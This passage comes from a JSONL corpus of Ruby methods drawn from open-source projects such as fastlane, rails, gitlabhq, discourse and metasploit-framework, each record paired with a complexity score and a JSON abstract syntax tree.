/tmp/my.app.id.itmsp\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"!=\",{\"type\":\"send\",\"children\":[null,\"email\"]}]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"lvar\",\"children\":[\"username\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"escaped_password\",{\"type\":\"lvar\",\"children\":[\"input_pass\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_password\"]},\"nil?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"escaped_password\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_password\"]},\"shellescape\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"windows?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"escaped_password\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_password\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\\\'\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"'\\\"\\\\'\\\"'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"escaped_password\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_password\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"transporter_path\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"str\",\"children\":[\"-m upload\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jwt\"]},\"nil?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_key\"]},\"nil?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_password\"]},\"nil?\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-u \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"shellescape\"]}]},{\"type\":\"str\",\"children\":[\" -p \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_password\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-apiIssuer \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_key\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"issuer_id\"]}]}]},{\"type\":\"str\",\"children\":[\" -apiKey \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_key\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key_id\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-jwt \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jwt\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"upload_part\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transporter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transporter\"]},\"to_s\"]},null]}]},{\"type\":\"str\",\"children\":[\"-k 100000\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"windows?\"]},{\"type\":\"str\",\"children\":[\"-WONoPause true\"]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_short_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-itc_provider \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_short_name\"]}]}]},null]}]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}","id":"3b21ef93-be21-40e8-85e3-0810e1090ba8"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/ruby_parser/bm_sexp.rb","start_line":156,"raw_source":"def method\n    expect :call, :attrasgn, :safe_call, :safe_attrasgn, :super, :zsuper, :result\n\n    case self.node_type\n    when :call, :attrasgn, :safe_call, :safe_attrasgn\n      self[2]\n    when :super, :zsuper\n      :super\n    when :result\n      self.last\n    end\n  end","complexity_score":9.05,"ast_json":"{\"type\":\"def\",\"children\":[\"method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"sym\",\"children\":[\"attrasgn\"]},{\"type\":\"sym\",\"children\":[\"safe_call\"]},{\"type\":\"sym\",\"children\":[\"safe_attrasgn\"]},{\"type\":\"sym\",\"children\":[\"super\"]},{\"type\":\"sym\",\"children\":[\"zsuper\"]},{\"type\":\"sym\",\"children\":[\"result\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"node_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"sym\",\"children\":[\"attrasgn\"]},{\"type\":\"sym\",\"children\":[\"safe_call\"]},{\"type\":\"sym\",\"children\":[\"safe_attrasgn\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"super\"]},{\"type\":\"sym\",\"children\":[\"zsuper\"]},{\"type\":\"sym\",\"children\":[\"super\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"last\"]}]},null]}]}]}","id":"e6a78569-33de-452b-9f72-bee31e3f901b"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/scan/lib/scan/xcpretty_reporter_options_generator.rb","start_line":17,"raw_source":"def initialize(open_report, output_types, output_files, output_directory, use_clang_report_name, xcpretty_args)\n      @open_report = open_report\n      @output_types = output_types\n      @output_files = output_files\n      @output_directory = output_directory\n      @use_clang_report_name = use_clang_report_name\n      @xcpretty_args = xcpretty_args\n\n      # might already be an array when passed via fastlane\n      @output_types = @output_types.split(',') if @output_types.kind_of?(String)\n\n      if @output_files.nil?\n        @output_files = @output_types.map { |type| \"report.#{type}\" }\n      elsif @output_files.kind_of?(String)\n        # might already be an array when passed via fastlane\n        @output_files = @output_files.split(',')\n      end\n\n      unless @output_types.length == @output_files.length\n        UI.important(\"WARNING: output_types and output_files do not have the same number of items. Default values will be substituted as needed.\")\n      end\n\n      (@output_types - SUPPORTED_REPORT_TYPES).each do |type|\n        UI.error(\"Couldn't find reporter '#{type}', available #{SUPPORTED_REPORT_TYPES.join(', ')}\")\n      end\n    end","complexity_score":31.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"open_report\"]},{\"type\":\"arg\",\"children\":[\"output_types\"]},{\"type\":\"arg\",\"children\":[\"output_files\"]},{\"type\":\"arg\",\"children\":[\"output_directory\"]},{\"type\":\"arg\",\"children\":[\"use_clang_report_name\"]},{\"type\":\"arg\",\"children\":[\"xcpretty_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@open_report\",{\"type\":\"lvar\",\"children\":[\"open_report\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@output_types\",{\"type\":\"lvar\",\"children\":[\"output_types\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@output_files\",{\"type\":\"lvar\",\"children\":[\"output_files\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@output_directory\",{\"type\":\"lvar\",\"children\":[\"output_directory\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@use_clang_report_name\",{\"type\":\"lvar\",\"children\":[\"use_clang_report_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@xcpretty_args\",{\"type\":\"lvar\",\"children\":[\"xcpretty_args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output_types\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@output_types\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output_types\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output_files\"]},\"nil?\"]},{\"type\":\"ivasgn\",\"children\":[\"@output_files\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output_types\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"report.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output_files\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@output_files\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output_files\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output_types\"]},\"length\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output_files\"]},\"length\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"WARNING: output_types and output_files do not have the same number of items. Default values will be substituted as needed.\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output_types\"]},\"-\",{\"type\":\"const\",\"children\":[null,\"SUPPORTED_REPORT_TYPES\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't find reporter '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"', available \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SUPPORTED_REPORT_TYPES\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}]}","id":"aa4b97d4-e5d1-4838-803d-934c2c42de06"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_alert.rb","start_line":56,"raw_source":"def expression=(exp)\n    if exp.kind_of?(MiqExpression)\n      self.miq_expression = exp\n    elsif exp.kind_of?(Hash)\n      self.hash_expression = exp\n    end\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"expression=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"MiqExpression\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"miq_expression=\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"hash_expression=\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]},null]}]}]}","id":"38e2f8d7-4762-4ce3-b21c-08121d9404c1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb","start_line":721,"raw_source":"def quote_string(string)\n        with_raw_connection(allow_retry: true, materialize_transactions: false) do |connection|\n          connection.escape(string)\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"quote_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_raw_connection\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_retry\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"materialize_transactions\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"string\"]}]}]}]}","id":"984f0def-6326-436e-bf9c-527d30f71cc1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb","start_line":114,"raw_source":"def exploit\n    if datastore['DESTRUCTIVE']\n      exploit_destructive\n    else\n      exploit_nondestructive\n    end\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DESTRUCTIVE\"]}]},{\"type\":\"send\",\"children\":[null,\"exploit_destructive\"]},{\"type\":\"send\",\"children\":[null,\"exploit_nondestructive\"]}]}]}","id":"277ad974-999f-48f0-b0d6-030999561b84"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/conditional_get.rb","start_line":361,"raw_source":"def combine_etags(validator, options)\n        [validator, *etaggers.map { |etagger| instance_exec(options, &etagger) }].compact\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"combine_etags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"validator\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validator\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"etaggers\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"etagger\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_exec\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"etagger\"]}]}]}]}]}]},\"compact\"]}]}","id":"0589a8e2-6cb6-4a25-ab47-d50b37cc96d3"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/redisable.rb","start_line":8,"raw_source":"def with_redis(&block)\n    RedisConnection.with(&block)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_redis\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RedisConnection\"]},\"with\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"d61c6d97-ee99-4bd0-96cf-07897afaef69"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/active_record/acts_as_legacy.rb","start_line":114,"raw_source":"def with_tool(...)\n        to_llm.with_tool(...)\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_tool\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_llm\"]},\"with_tool\",{\"type\":\"forwarded_args\",\"children\":[]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"2f052568-062e-426a-8c0f-80ec9b1128f5"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/services/service_template_fields_visibility_service.rb","start_line":2,"raw_source":"def determine_visibility(service_template_request)\n    field_names_to_hide = []\n    if service_template_request\n      field_names_to_hide += %i[vm_description schedule_type schedule_time]\n    end\n\n    {:hide => field_names_to_hide}\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"determine_visibility\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_template_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field_names_to_hide\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_template_request\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field_names_to_hide\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"vm_description\"]},{\"type\":\"sym\",\"children\":[\"schedule_type\"]},{\"type\":\"sym\",\"children\":[\"schedule_time\"]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hide\"]},{\"type\":\"lvar\",\"children\":[\"field_names_to_hide\"]}]}]}]}]}","id":"f39eb251-ca08-481d-be60-4a625c47def5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/simple_order_builder.rb","start_line":218,"raw_source":"def ordered_by_other_columns?\n          return unless order_values.size >= 1 && !has_tie_breaker?\n\n          supported_columns?(order_values)\n        end","complexity_score":10.83,"ast_json":"{\"type\":\"def\",\"children\":[\"ordered_by_other_columns?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order_values\"]},\"size\"]},\">=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_tie_breaker?\"]},\"!\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"supported_columns?\",{\"type\":\"send\",\"children\":[null,\"order_values\"]}]}]}]}","id":"83ba2b7d-c7c9-4eff-a37b-16046beba6c9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/time_tracking_formatter.rb","start_line":33,"raw_source":"def positive_output(seconds)\n      ChronicDuration.output(\n        seconds,\n        CUSTOM_DAY_AND_MONTH_LENGTH.merge(\n          format: :short,\n          limit_to_hours: limit_to_hours_setting,\n          weeks: true))\n    rescue StandardError\n      nil\n    end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"positive_output\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"seconds\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChronicDuration\"]},\"output\",{\"type\":\"lvar\",\"children\":[\"seconds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CUSTOM_DAY_AND_MONTH_LENGTH\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"short\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit_to_hours\"]},{\"type\":\"send\",\"children\":[null,\"limit_to_hours_setting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"weeks\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"6820e27c-5a9f-44be-b124-5929e73fec57"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/fork_service.rb","start_line":29,"raw_source":"def after_fork(project)\n      return unless project&.saved?\n\n      refresh_forks_count\n      stream_audit_event(project)\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"after_fork\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"saved?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"refresh_forks_count\"]},{\"type\":\"send\",\"children\":[null,\"stream_audit_event\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}","id":"f2e0c5d6-7054-4b31-b408-0507bc9d6323"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/sidekiq_queues.rb","start_line":10,"raw_source":"def added_queue_names\n        @added_queue_names ||= new_queues.keys - old_queues.keys\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"added_queue_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@added_queue_names\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_queues\"]},\"keys\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"old_queues\"]},\"keys\"]}]}]}]}","id":"e7d76111-a81a-4770-88e2-d4339cf78ae8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/files/create_service.rb","start_line":5,"raw_source":"def create_commit!\n      transformer = Lfs::FileTransformer.new(project, repository, @branch_name, start_branch_name: @start_branch)\n\n      result = transformer.new_file(@file_path, @file_content)\n\n      create_transformed_commit(result.content)\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_commit!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"transformer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Lfs\"]},\"FileTransformer\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@branch_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_branch_name\"]},{\"type\":\"ivar\",\"children\":[\"@start_branch\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transformer\"]},\"new_file\",{\"type\":\"ivar\",\"children\":[\"@file_path\"]},{\"type\":\"ivar\",\"children\":[\"@file_content\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_transformed_commit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"content\"]}]}]}]}","id":"379499a9-b057-4073-8e77-cc4564124b6a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user_history.rb","start_line":292,"raw_source":"def self.admin_only_action_ids\n    @admin_only_action_ids ||= [actions[:change_site_setting]]\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"admin_only_action_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@admin_only_action_ids\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"change_site_setting\"]}]}]}]}]}","id":"afc4e273-b926-4b3c-8f6d-06a94e30aea7"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/emoji.rb","start_line":124,"raw_source":"def self.clear_cache\n    %w[custom standard translations allowed denied all].each do |key|\n      Discourse.cache.delete(cache_key(\"#{key}_emojis\"))\n    end\n    global_emoji_cache.clear\n    site_emoji_cache.clear\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clear_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"custom\"]},{\"type\":\"str\",\"children\":[\"standard\"]},{\"type\":\"str\",\"children\":[\"translations\"]},{\"type\":\"str\",\"children\":[\"allowed\"]},{\"type\":\"str\",\"children\":[\"denied\"]},{\"type\":\"str\",\"children\":[\"all\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"cache\"]},\"delete\",{\"type\":\"send\",\"children\":[null,\"cache_key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"_emojis\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"global_emoji_cache\"]},\"clear\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"site_emoji_cache\"]},\"clear\"]}]}]}","id":"1076f7c5-7e5d-410b-b6eb-70342cfb02b3"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/team_id.rb","start_line":7,"raw_source":"def self.run(params)\n        params = nil unless params.kind_of?(Array)\n        team = (params || []).first\n        UI.user_error!(\"Please pass your Team ID (e.g. team_id 'Q2CBPK58CA')\") unless team.to_s.length > 0\n\n        UI.message(\"Setting Team ID to '#{team}' for all build steps\")\n\n        [:CERT_TEAM_ID, :SIGH_TEAM_ID, :PEM_TEAM_ID, :PRODUCE_TEAM_ID, :SIGH_TEAM_ID, :FASTLANE_TEAM_ID].each do |current|\n          ENV[current.to_s] = team\n        end\n      end","complexity_score":17.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"team\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"array\",\"children\":[]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"team\"]},\"to_s\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Please pass your Team ID (e.g. team_id 'Q2CBPK58CA')\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Setting Team ID to 